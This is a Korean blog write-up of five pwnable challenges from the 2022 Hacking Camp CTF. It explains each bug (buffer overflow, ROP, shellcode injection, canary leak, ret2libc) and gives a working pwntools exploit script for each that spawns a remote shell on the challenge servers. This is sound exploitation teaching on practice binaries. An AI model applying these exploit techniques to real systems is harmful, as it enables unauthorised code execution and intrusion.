본문 바로가기

CTF

2022 Hacking Camp writeup_pwnable

1. Trust me

(1) 난이도 : Easy

 

(2) 문제

prob
0.02MB
prob.c
0.00MB

 

(3) 풀이

  • age를 우회한 후, name에 BOF를 발생시켜 read_flag함수를 호출하는 문제이다.
  • age우회
    • age는 -128면 안되고, -127보다는 작아야 하는 조건문이 존재한다.
      이는 디버깅을 하여, 코드를 분석해서 쉽게 우회할 수 있었다.
    • 아래 캡쳐보는 gdb로 디버깅한 사진이다.
      ①을 보면 0xffffff80이면 안되고, ②을 보면 입력값은 al크기의 값이 0x80인지 확인하고 있다.
    • 따라서, 0xffffff80이 아지만, al이 0x80인 '-3712'값을 age에 넣어주면 우회가 가능하다.

  • name의 BOF취약점
    • 디버깅하여, 확인해보면 ebp-8위치가 func임을 알 수 있다.
    • 위 사진의 ③을 보면 0x25만큼 입력을 받아오고 있기 때문에, [ebp-8]을 덮어쓸 수 있다.
    • 따라서, name에 BOF를 발생시키고 [ebp-8]에 read_flag함수의 주소값을 넣어주면 flag를 읽어올 수 있다.

 

(4) Exploit

from pwn import *

p = remote(b"3.38.49.137", 7776)
#p = process(b"./prob")
e = ELF(b"./prob")
read_flag = e.symbols['read_flag']

payload  = (b'a'*0x21) + p32(read_flag)

p.recvuntil(b"Your age : ")
p.sendline(b'-3712\n')

p.recvuntil(b"Your name : ")
p.send(payload)
print(p.recvuntil(payload + b"\n"))
print(p.recvline())
p.interactive()

 

2. Green frog

(1) 난이도 : Easy

 

(2) 문제

frog
0.01MB

 

(3) 풀이

  • 간단한 ROP문제로, 기존에 바이너리에 존재하는 execve함수와 '/bin/sh'문자열을 이용해 쉘을 획득하는 것이다.
  • 해당 문제를 풀며 발생한 문제점
    • pop rdi; ret;가젯만 이용해 풀려다가 디버깅해보니 rsi값이 0이 아닌 0x1이 들어가 있어서 쉘을 획득할 수 없었다.
    • 디버깅해보니, rdx경우 0x0으로 되어있어서 pop rdi; ret;가젯과 pop rsi; pop r15; ret;가젯으로 인자값을 넘겨줘 쉘을 획득할 수 있었다. 

 

(4) Exploit

from pwn import *

p = remote("3.38.49.137", 4302)
#p = process(b"./frog")
e = ELF(b"./frog")

rdi_ret = 0x400793
rsi_r15_ret = 0x400791
binsh = 0x4007B8
execve = e.symbols['execve']

payload  = b"A" * 0x30
payload += b"B" * 0x8
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(rsi_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(execve)

p.recvuntil(b"Watch out NOT to OVERFLOW this !")
p.sendline(payload)

p.interactive()

 

3. input

(1) 난이도 : Easy

 

(2) 문제

chall
0.02MB

 

(3) 풀이

  • 포인터 변수에 mmap함수로 메모리에 맵핑해주고, 입력값을 해당 메모리에 저장하여 실행한다.
  • 따라서, 입력값에 shellcode를 삽입해주면, 성공적으로 쉘을 획득할 수 있다.
  • shellcraft를 사용하여, shellcode를 생성시 context.arch로 64bit임을 명시해야 한다.

 

(4) Exploit

from pwn import *

p = remote("3.38.49.137", 31339)
#p = process(b"./chall")
context.arch = "amd64"

payload = shellcraft.execve("/bin/sh", 0, 0)
payload1 = asm(payload)

p.sendline(payload1)

p.interactive()

 

 

4. 명언 카나리

(1) 난이도 : Medium

 

(2) 문제

quote
0.01MB

 

(3) 풀이

  • 바이너리에는 NX가 적용되어 있지 않고 PIE만 적용되어 있다.
  • 따라서, buf안에 shellcode를 삽입해주면 된다.
  • 해당 문제를 풀며 발생한 문제점 
    • shellcraft를 이용하여 shellcode를 만들었는데, context.arch로 64bit임을 선언하지 않아 쉘을 획득할 수 없었다.
    • 따라서, context.arch로 64bit를 선언하고 나니 성공적으로 쉘을 획득할 수 있었다.

 

(4) Exploit

from pwn import *
context(arch='amd64', os='linux')

#p = process(b"./quote")
p = remote('3.38.49.137', 7839)

p.recvuntil(b"Address of the buf: ")
buf = p.recvline()[:-1]
print("buf : ", buf)
buf_addr = int(buf,16)

p.recvuntil(b"wayNo sweat, no sweet")

payload = b"A" * 89
p.send(payload)

p.recvuntil(b'Your input is \'' + payload)
canary = u64(b'\x00'+p.recvn(7))
print("Canary : ", hex(canary))

sh = shellcraft.execve("/bin/sh", 0 , 0)
sh1 = asm(sh)

payload2 = sh1.ljust(88, b'A')
payload2 += p64(canary)
payload2 += b"C" * 0x8
payload2 += p64(buf_addr)
p.recvuntil(b'Input: ')
p.sendline(payload2)

p.interactive()

 

5. 비리 교수 양서영

(1) 난이도 : Medium

 

(2) 문제

corruption
0.01MB

 

(3) 풀이

  • BOF를 발생시켜, 'pop rdi; ret;' 가젯으로 ROP하는 문제이다.
  • read_got을 출력하여, system함수의 주소값을 계산하고 main함수를 다시 호출시킨다.
  • /bin/sh문자열을 라이브러리에서 찾고, ROP기법으로 system('/bin/sh')를 실행시킨다.
  • 해당문제를 풀며, 발생한 문제점
    • 라이브러리를 문제에 같이 주지 않아서 어려움이 있었다.
    • 이는 아래 사이트에서 찾아, 예측하여 풀 수 있었다.
      (https://libc.blukat.me/?q=read%3A180)

libc6_2.27-3ubuntu1.2_amd64.so
1.94MB

 

(4) Exploit

from pwn import *

def print_v(n, v): return success(": ".join([n, hex(v)]))

p = remote(b"211.239.124.233", 13917)
#p = process(b"./corruption")
e = ELF(b"./corruption")
libc = ELF(b"libc6_2.27-3ubuntu1.2_amd64.so")

pwd = b"YANGSEOYEONG0201"
rdi_ret = 0x4009d3
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']

libc_read = libc.symbols['read']
libc_sys = libc.symbols['system']
libc_binsh = list(libc.search(b"/bin/sh"))[0]


payload  = pwd.ljust(0x20, b"\x00")
payload += b"B" * 0x8
payload += p64(rdi_ret)
payload += p64(read_got)
payload += p64(puts_plt)

payload += p64(rdi_ret)
payload += p64(0)
payload += p64(main_addr)

p.sendline(payload)

p.recvuntil(b"but... Where is the answer sheet?\n")
read_addr = u64(p.recvn(6) + (b'\x00' * 2))

libc_base = read_addr - libc_read
sys_addr = libc_base + libc_sys

print_v("Read Address", read_addr)
print_v("Library Base Address", libc_base)
print_v("System Address", sys_addr)
print_v("Main Address", main_addr)

libc_binsh += libc_base
payload2  = pwd.ljust(0x20, b"\x00")
payload2 += b"B" * 0x8
payload2 += p64(rdi_ret)
payload2 += p64(libc_binsh)
payload2 += p64(rdi_ret + 1)
payload2 += p64(sys_addr)

p.sendline(payload2)
p.recvuntil(b"but... Where is the answer sheet?\n")
p.interactive()

 

'CTF' 카테고리의 다른 글

2023 HTB CTF Writeup  (0) 2023.07.20
2023 Google CTF writeup (Pwnable)  (0) 2023.07.02
2022 POXX 예선 & 본선 writeup (pwnable, rev)  (0) 2022.12.28
2022 SSTF writeup  (0) 2022.08.24